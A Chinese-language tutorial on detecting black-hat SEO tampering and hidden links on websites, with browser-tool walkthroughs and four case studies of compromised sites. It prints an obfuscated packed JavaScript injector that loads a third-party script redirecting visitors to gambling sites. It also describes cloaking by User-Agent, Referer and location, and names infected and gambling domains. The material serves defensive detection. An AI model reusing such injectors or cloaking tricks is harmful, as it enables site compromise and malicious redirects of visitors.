網頁介紹
頁面篡改
驗證黑鏈常用工具
查找黑鏈常用方法-實戰案例
2|0 1.1 網頁
網頁由html+css+javascript組成,以人做舉例,html描述了人有臉,有脖子,有身體,有四肢,css描述了每個部分如何鏈接,javascript決定了人的思想是什么樣的。
2|11.1.1 Html
超文本標記語言 Hyper Text Markup Language,HTML 是用來描述網頁的一種語言。只有html的頁面是沒有靈魂的人,不知道餓了該去吃飯,不知道見到人該去打招呼
【如果想簡單學習玩耍請參考此鏈接:http://www.w3school.com.cn/html/index.asp】
2|21.1.2 Javascript
一種腳本語言,其源代碼在發往客戶端運行之前不需經過編譯,而是將文本格式的字符代碼發送給瀏覽器由瀏覽器解釋運行。有了javascript(之后簡稱js)網頁才能根據一些外界條件發生變化
【如果想簡單學習玩耍請參考此鏈接:http://www.w3school.com.cn/js/index.asp】
3|0 1.2 頁面篡改
網站頁面內產生了網站所有者意想之外的變化,網站遭殃*_*
3|11.2.1 SEO
SEO全稱為搜索引擎優化,是指通過站內優化、站外優化等方式,提升搜索引擎收錄排名。搜索空氣凈化器,顯示如下:

為什么顯示順序為京東->亞馬遜->知乎,而不是其他順序?
>>>首先引入概念PR值:
PR值全稱為PageRank(網頁級別),PR值是Google用于標識網頁的等級、重要性、網站的好壞的重要標準之一。級別從0到10級為滿分。PR值越高說明該網頁越受歡迎。
例如:一個PR值為1的網站表明這個網站不太具有流行度,而PR值為7到10則表明這個網站非常受歡迎(或者說極其重要)。一般PR值達到4,就算是一個不錯的網站了。Google把自己的網站的PR值定到9,這說明Google這個網站是非常受歡迎的,也可以說這個網站非常重要。
【PR查詢頁面:http://pr.chinaz.com】
PR高的網站不一定排名就好,但是大部分內頁的排名都不錯,PR高的網站分流到內頁的權重比PR低的網站分配到內頁的權重也高,排名相對也好,排名的計算方法很復雜,因此排名好的也不一定PR就高。
既然有SEO技術,便會有相應的從業人員,他們被稱為白帽SEO,專指通過公正SEO手法,幫助提升站點排名的專業人員。當然有白便會有黑,由于白帽SEO優化的過程將會十分漫長,一個新站想要獲取好的排名,往往需要花上幾年時間做優化推廣。因此一些想要快速提升自身網站排名的小伙伴,便開始在SEO上研究作弊手法,從而誕生了黑帽SEO。黑帽SEO是指通過作弊手段,讓站點快速提升排名的一類SEO技術,或者說是黑客技術,比如說:黑鏈(暗鏈)、站群、網站劫持(搜索引擎劫持)、橋頁等,黑帽SEO能夠快速提升排名,但畢竟是違規作弊行為
4|0 1.3 基礎知識(以下內容使用瀏覽器都為火狐瀏覽器)
4|11.3.1 常用工具-源代碼
常用快捷鍵:ctrl+u(也可以在頁面前添加view-source:)
特點:只展示HTML代碼,顯示相關CSS和JS鏈接,但是并不加載
用途:粗略查看相關源代碼

4|21.3.2 常用工具-審查元素-查看器
常用快捷鍵:F12(查看器標簽)
特點:該頁面會加載對應的js以及css,是一個更直觀的輸出展示頁面
用途:詳細查看相關源代碼

4|31.3.3 常用工具-審查元素-控制臺
用途:解密js進行快捷輸出
加密js:
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4.7(\'<0 c="1" 5="6/1" 3="8://9.a.b/2/d.2"></0>\');',14,14,'
script|javascript|js|src|document|type|text|write|http|cq|355sf|com|language|bc'.split('|'),0,{}))將eval函數去掉,直接復制黏貼進控制臺就可以輸出解密后的js

4|41.3.4 常用工具-審查元素-網絡
用途:在不打開burp的前提下快速查看相關請求以及相應響應

4|51.3.5 常用工具-解密網站
推薦js界面網站:https://tool.lu/js/
同1.3.3將js解密為:

4|61.3.6 常用工具-User-Agent Switcher
用途:修改HTTP請求頭中的User Agent(之后統一簡稱UA)字段,該字段通常用來表示使用者身份,如:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
對于搜索引擎來說,為了區分自身和正常人的行為,爬蟲會修改自己的UA為一個公共聲明標識的UA如:360spider,這也為黑產對抗留下了入口,黑產從業者會通過js/后端php來進行請求頭判斷,如果是來自搜索引擎的流量,則展示黑產頁面,如果是正常訪客的UA則展示正常的頁面。這樣可以極大加強隱蔽自身的能力。
1.安裝鏈接:https://addons.mozilla.org/firefox/downloads/file/1145502/user_agent_switcher-1.2.3-an+fx.xpi?src=search
2.安裝后進入附加組件,找到該插件點擊首選項進行配置
在google bot下面增加如下配置:
Baidu Bot [Bot]: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
360 [Bot]: 360Spider

3.勾選任意一個,進行任意域名訪問
請求頭中User-Agent為對應勾選的User-Agent頭即為配置成功

4|71.3.7 常用工具-referer control
用途:控制網站請求頭中的Referer字段,該字段本身是用于記錄當前網頁的來源。
通常來說搜索引擎的爬蟲每次爬行都會將內容運回搜索引擎的數據庫,所以通常爬蟲對頁面請求的上一跳中也一定會包含baidu/360/sougou/so/google等瀏覽器信息,
這又為黑產提供了隱藏自身行為的入口,通常也是通過js/php進行referer判斷,如果包含搜索引擎相關字樣則進行跳轉到希望被引流的賭博頁面,如果不包含則不跳轉。

5|0 1.4 查找黑鏈常用方法
修改User-Agent頭
修改referer
修改html代碼中屬性設置為隱藏的標簽
5|1>>>篡改實戰
5|21.4.1 篡改案例1
http://www.lcwsj.com/lcxinwen/2018041609219.html
首先我們打開審查元素-網絡,打開這個網站,可以在下方的一系列跳轉中看到網站跳轉到了一個賭博網站:http://www.866bc.com:8080/,我們現在來分析整個跳轉過程中到底發生了什么。
>>> 因為網站我們并不能看到上面URL的內容,首先在網絡中找到對應這條請求

>>> 可以看到狀態碼是200,在HTTP狀態碼中只有3系列才可以執行跳轉,那么問題應該出現在前端的js導致了異常跳轉,這時候我們使用前面說到的查看源代碼來防止js的加載,可以看到如下部分

>>> 這是一段做過混淆加密的js,我們將其放到控制臺中進行解密獲得如下內容

可以看到一個新的js:http://cq.355sf.com/js/bc.js
我們再次訪問這個js可以看到如下部分:

Tips:hm.baidu.com和js.user.51.la都是網站流量統計工具,給網站站長進行流量分析的東西,可以忽略;
其他部分我們又看到了一個新的js: http://cq.355sf.com/js/tiao.js
我們又訪問了這個js可以看到如下部分:

這又是一個加密混淆的js,我們依然使用之前的控制臺進行解密

代碼解讀:
首先進行地點判斷,如果屬于北京、杭州、柬埔寨等地方,則展示一個404頁面,如果不屬于這些地方則判斷當前頁面有沒有父頁面(從a網站點擊鏈接觸發到這個js)如果存在父頁面,則將父頁面感染為http://m.22571777.com:8888/?a=69447,然后將打開頁面展示為http://www.866bc.com:8080
5|31.4.2 篡改案例2
http://www.aswlw.org.cn/
這個網站并不像案例1中直接跳轉到了賭博網站,這并不意味著這個網站沒有發生篡改
查看源代碼到最下面,可以看到

這種使用十六進制編碼的形式寫代碼不是一般正常的寫代碼思路,這里其實就起了疑心,我們對其進行解碼,使用工具網站:https://www.bejson.com/convert/ox2str/

可以看到是一些標簽屬性,里面看到關鍵字liblinlpa,再回看源代碼,上方友情鏈接標簽的id就是liblinlpa,又看到解密的內容中有display none的字樣,故猜測這段加密代碼的意義在于使上面被篡改的鏈接隱藏,防止被站長發現,進而被刪除。進而我們嘗試去訪問上方的友情鏈接

可以看到含有專業性賭博詞匯:pk10的專項詞優化頁面;
依次打開其他友情鏈接,也可以看到都和賭博有關
5|41.4.3 篡改案例3
http://www.drughk.com/cpzs.asp?upid=202&typeid=405&newsid=765
首先打開網站,我們初步審查源碼可以看到基本上沒有看起來不合理的地方

但是這里我們使用我們的user agent switcher 插件轉換UA為360spider以后
源碼中出現了

Display:none是一個黑產很常用的隱蔽手法,我們雙擊none改為true
回到html頁面,可以看到原文中出現了如下內容

隨便點擊一個content內容可以看到基本上都是跳轉到了不同的色情網站
5|51.4.4 篡改案例4
http://android.zgzg.org.cn/
1.首先訪問頁面:

2.通常這個頁面為網站狀態碼為404以后展示的頁面
但是仔細在網絡中看一下響應包:

3.可以看到響應碼是200
這就是一個非常不科學的事情,頁面展示404頁面,狀態碼卻是200,這只能猜測404頁面是人偽造的,其實這個頁面是存在的,只是有人把內容偽裝成了404頁面的內容,所以成功響應,并顯示404頁面;
4.繼續進入源碼分析:
源碼中涉及3個js,但是和為什么網站顯示404頁面,但是響應碼為200都沒什么關系。
這時候我們嘗試改一下UA為360spider,發現網站顯示到如下頁面

那么網站是否產生了真實的篡改,初步判斷是一定存在篡改
但是遍歷頁面每一個元素,沒有找到真實被篡改的地方

5.這依然不意味著不存在篡改,我們進入審查元素-網絡,選擇第一個網站請求,查看響應標簽中的響應載荷
可以看到響應載荷中的最下面存在大量色情專項優化詞匯

這里我們可以確定網站一定是被篡改了
那么頁面上這幾千個敏感詞到底在什么位置,我們看敏感詞上面一行代碼

6.Marquee是跑馬燈,這里我們還看到了height=3,在html中3是一個非常小的值,我們重新看到原網頁,翻到最下面,看到了一小排綠色的奇怪東西

鼠標努力勾選復制一下,找個地方黏貼出來,就能看到大量的敏感詞了
5|61.4.5 最后
網站篡改技術和篡改對抗技術的更新速度是異常快的,舉例子是舉不完的,只能靠異于常人的細心和耐心抽絲剝繭來完成對抗
